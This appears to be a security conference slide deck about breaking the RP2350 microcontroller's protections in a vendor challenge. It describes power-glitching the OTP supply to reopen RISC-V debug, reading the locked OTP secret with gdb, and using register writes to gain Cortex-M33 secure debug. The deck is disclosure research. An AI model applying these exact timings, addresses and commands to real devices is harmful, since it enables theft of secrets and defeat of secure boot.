




HACKING THE
RP2040



Aedan Cullen

A secure microcontroller **with** a supportive vendor?

- Raspberry Pi seems to be targeting commercial/industrial MCU customers
- Evolution of RP2040 ideas, more SRAM, etc.
- What is this weird core-swapping thing?!



- Audited (to some extent?) by Hextree and NewAE
- Challenge started at DEF CON, then extended



"Double your embedded CPU architectures, double your fun!"

- Raspberry Pi

Challenge goal: Read out a protected OTP secret


```
picotool otp set -e 0xc08 0xc0ff
picotool otp set -e 0xc09 0xffee
picotool otp set -e 0xc0a 0xc0ff
picotool otp set -e 0xc0b 0xffee
picotool otp set -e 0xc0c 0xc0ff
picotool otp set -e 0xc0d 0xffee
picotool otp set -e 0xc0e 0xc0ff
picotool otp set -e 0xc0f 0xffee
```

Then, lock down chip, enabling:

- OTP PAGE48 lock
- Secure boot
- Glitch detectors
- Debug-disable option

1. Critical thinking

An overview of the RP2350's security



RP2350 A microcontroller by Raspberry Pi

RP2350 Datasheet

A microcontroller
by Raspberry Pi

OTP/peripheral access permissions

TrustZone secure/non-secure worlds

ROM secure-boot path

Redundancy
Coprocessor

Glitch
detectors

Debug
disable

RISC-V
disable

OTP critical-bit readout

1. Critical thinking

An overview of the RP2350's security

OTP_DATA: CRIT1 (row 0x040; eight copies)

23:7	Reserved
6:5	GLITCH_DETECTOR_SENS: Increase the sensitivity of the glitch detectors from their default.
4	GLITCH_DETECTOR_ENABLE: Arm the glitch detectors to reset the system if an abnormal clock/power event is observed.
3	BOOT_ARCH: Set the default boot architecture, 0=ARM 1=RISC-V. Ignored if ARM_DISABLE, RISCV_DISABLE or SECURE_BOOT_ENABLE is set.
2	DEBUG_DISABLE: Disable all debug access
1	SECURE_DEBUG_DISABLE: Disable Secure debug access
0	SECURE_BOOT_ENABLE: Enable boot signature enforcement, and permanently disable the RISC-V cores

1. Critical thinking


An overview of the RP2350's security

OTP_DATA: **CRITO** (row 0x038; eight copies)

23:2	Reserved
1	RISCV_DISABLE: Permanently disable RISC-V processors (Hazard3)
0	ARM_DISABLE: Permanently disable ARM processors (Cortex-M33)


1. Critical thinking

An overview of the RP2350's security



1. Critical thinking

An overview of the RP2350's security



“Guarded reads perform an additional hardware consistency check to detect power transients. If this check fails, the read returns a bus fault. “

1. Critical thinking

An overview of the RP2350's security

OTP_DATA: CRIT0 (three-of-eight)


OTP_DATA: CRIT1 (three-of-eight)

OTP: CRITICAL (0x40120148)

31:18	Reserved
17	RISCV_DISABLE
16	ARM_DISABLE
15:7	Reserved
6:5	GLITCH_DETECTOR_SENS
4	GLITCH_DETECTOR_ENABLE
3	DEFAULT_ARCHSEL
2	DEBUG_DISABLE
1	SECURE_DEBUG_DISABLE
0	SECURE_BOOT_ENABLE

2. Anti-fuse fuse club

Details of the chip's OTP design



2. Anti-fuse fuse club

Details of the chip's OTP design




Synopsys Expands DesignWare IP Portfolio with Acquisition of Sidense Corporation

Acquisition Adds One-Time Programmable Non-Volatile Memory IP to DesignWare NVM IP Offering

Share:

MOUNTAIN VIEW, Calif., Oct. 17, 2017 /PR




An SHF module consists of an OTP core (the bitcell array), charge pump hard macro for in-field programming (generates the non-standard voltages required), device access port (DAP) providing access through 16/32 bit parallel bus and SBPI, which provides serial and byte-wide interfaces with SPI-compatible protocols. Read speeds are as low as 20ns depending on configuration and process and (at 28/20nm) a 1us/bit write speed.

Sidense 1T-OTP Memory Macros Meet JEDEC Accelerated Testing Qualifications



At two TSMC 28nm process nodes

This is a Press Release edited by StorageNewsletter.com on December 31, 2013 at 2:51 pm

Sidense Corp., developer of non-volatile memory OTP IP cores, announced that its [SHF Non-Volatile Memory](#) (NVM) macros have met JEDEC accelerated testing requirements for TSMC's 28HPM and 28HPL process nodes.




Patented 1T-Fuse™ Split Channel Bit Cell







RP2350ADA2 19
P6BB26.00 24




Camera + X-ray composite




Camera + X-ray + microscope composite




Optical microscope image




Optical microscope image




Optical microscope image




Optical microscope image





Optical microscope image







Optical microscope image


SRAMO-7


SRAMO-7




X-ray + optical microscope composite









VVA41HE
JQ41DU













lock_chip.sh












3. Interruptible power supply

Experimenting with the IPS and OTP PSM


microamps (USB_OTP_VDD)



3. Interruptible power supply

Experimenting with the IPS and OTP PSM


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3. Interruptible power supply

Experimenting with the IPS and OTP PSM


microamps (USB_OTP_VDD)



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Experimenting with the IPS and OTP PSM


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
microamps (USB_OTP_VDD)



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
Experimenting with the IPS and OTP PSM

microamps (USB_OTP_VDD)




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Experimenting with the IPS and OTP PSM



3. Interruptible power supply


Experimenting with the IPS and OTP PSM



3. Interruptible power supply


Experimenting with the IPS and OTP PSM

microamps (USB_OTP_VDD)



3. Interruptible power supply

Experimenting with the IPS and OTP PSM



3. Interruptible power supply

Experimenting with the IPS and OTP PSM

microamps (USB_OTP_VDD)



3. Interruptible power supply

Experimenting with the IPS and OTP PSM

microamps (USB_OTP_VDD)



3. Interruptible power supply

Experimenting with the IPS and OTP PSM

microamps (USB_OTP_VDD)



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Experimenting with the IPS and OTP PSM

microamps (USB_OTP_VDD)



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Experimenting with the IPS and OTP PSM

microamps (USB_OTP_VDD)



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Experimenting with the IPS and OTP PSM

microamps (USB_OTP_VDD)



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Experimenting with the IPS and OTP PSM

microamps (USB_OTP_VDD)




3. Interruptible power supply

Experimenting with the IPS and OTP PSM

10 μ s pulse after 125 μ s

OTP controller boot restarts immediately




3. Interruptible power supply

Experimenting with the IPS and OTP PSM

10 μ s pulse after 350 μ s

OTP PSM finishes, then restarts itself from beginning




3. Interruptible power supply

Experimenting with the IPS and OTP PSM


10 μ s pulse after 350 μ s

Sometimes, OTP PSM finishes and is happy (?)



3. Interruptible power supply

Experimenting with the IPS and OTP PSM



Debug is still locked down :(

```
$ JLinkExe -device CORTEX-M33 -if SWD -speed 4000
...
...
Connecting to target via SWD
Found SW-DP with ID 0x4C013477
DPIDR: 0x4C013477
CoreSight SoC-600 or later (DPv3 detected)
Detecting available APs
APSpace base (BASEPTR0): 0x00000000
APSpace size (DPIDR1.ASIZE): 20-bit (1024 KB)
Top-level ROM table, that describes AP map, found
Scanning top-level ROM table and nested ones to find APs
AP[0] (APAddr 0x00002000): AHB-AP (IDR: 0x34770008)
AP[1] (APAddr 0x00004000): AHB-AP (IDR: 0x34770008)
Iterating through AP map to find AHB-AP to use
AP[0]: Skipped. Could not read CPUID register
AP[1]: Skipped. Could not read CPUID register
Attach to CPU failed. Executing connect under reset.
```




4. Siri, set a timer for 5 µs

Visualizing 60,000 IPS power faults

No obvious progress on debug-disabled M33

5 µs pulse, 10 tries every 100ns offset

■ No M33 debug




4. Siri, set a timer for 5 µs

Visualizing 60,000 IPS power faults



Learning more on a debuggable chip

5 µs pulse, 10 tries every 100ns offset




4. Siri, set a timer for 5 µs

Visualizing 60,000 IPS power faults



Learning more on a debuggable chip

5 µs pulse, 10 tries every 100ns offset






Why is it failing there?

50 µs pulse at ~250 µs

```
$ JLinkExe -device CORTEX-M33 -if SWD -speed 4000
...
...
Connecting to target via SWD
Found SW-DP with ID 0x4C013477
DPIDR: 0x4C013477
CoreSight SoC-600 or later (DPv3 detected)
Detecting available APs
APSpace base (BASEPTR0): 0x00000000
APSpace size (DPIDR1.ASIZE): 20-bit (1024 KB)
Top-level ROM table, that describes AP map, found
Scanning top-level ROM table and nested ones to find APs
AP[0] (APAddr 0x0000A000): APB-AP (IDR: 0x24770006)
Iterating through AP map to find AHB-AP to use
AP[0]: Skipped. Not an AHB-AP
Attach to CPU failed. Executing connect under reset.
```



AP[0] (APAddr 0x0000A000): APB-AP (IDR: 0x24770006)



That's the RISC-V debug access port...




The RISC-V APB-AP also appears when secured!

5 µs pulse, 10 tries every 100ns offset

AP[0] (APAddr 0x00002000): AHB-AP (IDR: 0x34770008)

AP[1] (APAddr 0x00004000): AHB-AP (IDR: 0x34770008)

AP[0] (APAddr 0x0000A000): APB-AP (IDR: 0x24770006)



microseconds

5. I don't drink coffee

Reading secrets and more with the RISC-V cores

```
$ openocd -f jlink.cfg -c "adapter speed 5000" -c "set USE_CORE 0" -f rp2350-riscv.cfg
Open On-Chip Debugger 0.12.0+dev-gebec9504d (2024-09-14-03:22)
Licensed under GNU GPL v2
For bug reports, read
          http://openocd.org/doc/doxygen/bugs.html
adapter speed: 5000 kHz
0
Info : Listening on port 6666 for tcl connections
Info : Listening on port 4444 for telnet connections
Info : J-Link V11 compiled Dec  4 2024 17:53:35
Info : Hardware version: 11.00
Info : VTarget = 3.315 V
Info : clock speed 5000 kHz
Info : SWD DPIDR 0x4c013477
Info : [rp2350.dap.core0] datacount=1 progbufsize=2
Info : [rp2350.dap.core0] Disabling abstract command reads from CSRs.
Info : [rp2350.dap.core0] Disabling abstract command writes to CSRs.
Info : [rp2350.dap.core0] Examined RISC-V core
Info : [rp2350.dap.core0] XLEN=32, misa=0x40901105
Info : [rp2350.dap.core0] Examination succeed
Info : starting gdb server for rp2350.dap.core0 on 3333
Info : Listening on port 3333 for gdb connections
```



5. I don't drink coffee

Reading secrets and more with the RISC-V cores



```
(gdb) target remote :3333
Remote debugging using :3333
warning: No executable has been specified and target does not support
determining executable automatically. Try using the "file" command.
0x00007640 in ?? ()
(gdb) x/32wx 0x40137020
0x40137020: 0x0022c0ff 0x0014ffee 0x0022c0ff 0x0014ffee
0x40137030: 0x0022c0ff 0x0014ffee 0x0022c0ff 0x0014ffee
0x40137040: 0x00000000 0x00000000 0x00000000 0x00000000
0x40137050: 0x00000000 0x00000000 0x00000000 0x00000000
0x40137060: 0x00000000 0x00000000 0x00000000 0x00000000
0x40137070: 0x00000000 0x00000000 0x00000000 0x00000000
0x40137080: 0x00000000 0x00000000 0x00000000 0x00000000
0x40137090: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) x/1wx 0x40120148
0x40120148: 0x00030033
(gdb)
```

5. I don't drink coffee

Reading secrets and more with the RISC-V cores

0x00030033

OTP: CRITICAL (0x40120148)

31:18	Reserved
17	RISCV_DISABLE
16	ARM_DISABLE
15:7	Reserved
6:5	GLITCH_DETECTOR_SENS
4	GLITCH_DETECTOR_ENABLE
3	DEFAULT_ARCHSEL
2	DEBUG_DISABLE
1	SECURE_DEBUG_DISABLE
0	SECURE_BOOT_ENABLE

Selects RISC-V

Allows RISC-V full-privilege debug

Don't care


Don't care





The guard word is **0x333333**,
and RPi is unaware the SHF has persistence

```
+0x000 SW_LOCK0
+0x004 SW_LOCK1
+0x008 SW_LOCK2
+0x00C SW_LOCK3
+0x010 SW_LOCK4
+0x014 SW_LOCK5
+0x018 SW_LOCK6
+0x01C SW_LOCK7
+0x020 SW_LOCK8
+0x024 SW_LOCK9
+0x028 SW_LOCK10
+0x02C SW_LOCK11
+0x030 SW_LOCK12
+0x034 SW_LOCK13
+0x038 SW_LOCK14
+0x03C SW_LOCK15
+0x040 SW_LOCK16
+0x044 SW_LOCK17
+0x048 SW_LOCK18
+0x04C SW_LOCK19
+0x050 SW_LOCK20
+0x054 SW_LOCK21
+0x058 SW_LOCK22
+0x05C SW_LOCK23
+0x060 SW_LOCK24
+0x064 SW_LOCK25
+0x068 SW_LOCK26
+0x06C SW_LOCK27
+0x070 SW_LOCK28
+0x074 SW_LOCK29
+0x078 SW_LOCK30
+0x07C SW_LOCK31
+0x080 SW_LOCK32
```



microseconds



Can we escalate from RISC-V
to M33 secure-mode debug?

Easy!

```
(gdb) set *0x40120150 = 0x00000010f  
(gdb) set *0x40018008 = 0x00000002  
(gdb) set *0x400d8000 = 0x80000000
```

(Set all DEBUGEN bits)
(Set system PSM WDSEL to 0TP)
(Trigger watchdog reset)

```
$ JLinkExe -device CORTEX-M33 -if SWD -speed 4000
...
...
Connecting to target via SWD
Found SW-DP with ID 0x4C013477
DPIDR: 0x4C013477
CoreSight SoC-600 or later (DPv3 detected)
Detecting available APs
APSpace base (BASEPTR0): 0x00000000
APSpace size (DPIDR1.ASIZE): 20-bit (1024 KB)
Top-level ROM table, that describes AP map, found
Scanning top-level ROM table and nested ones to find APs
AP[0] (APAddr 0x00002000): AHB-AP (IDR: 0x34770008)
AP[1] (APAddr 0x00004000): AHB-AP (IDR: 0x34770008)
Iterating through AP map to find AHB-AP to use
AP[0]: Core found
AP[0]: AHB-AP ROM base: 0xE00FF000
CPUID register: 0x411FD210. Implementer code: 0x41 (ARM)
Feature set: Mainline
Cache: No cache
Found Cortex-M33 r1p0, Little endian.
FPUnit: 8 code (BP) slots and 0 literal slots
Security extension: implemented
Secure debug: enabled
```



6. Summary

Attempted mitigations:

Guard reads: **Fundamental HW misunderstanding**

OTP PSM ring osc. randomization: **Nonexistent? Insignificant?**

Irrelevant security features:

Glitch detectors: **Not on USB OTP_VDD!**

RPC: **Game over *before* ROM code!**

6. Summary

Lessons:

Human communication factors are huge
Sidense knew how to do guards properly, and RPi missed out

“Permanent” is not a thing unless it involves chip destruction
There is some copper somewhere with each signal...

Remember to glitch in the places they *don't* tell you to

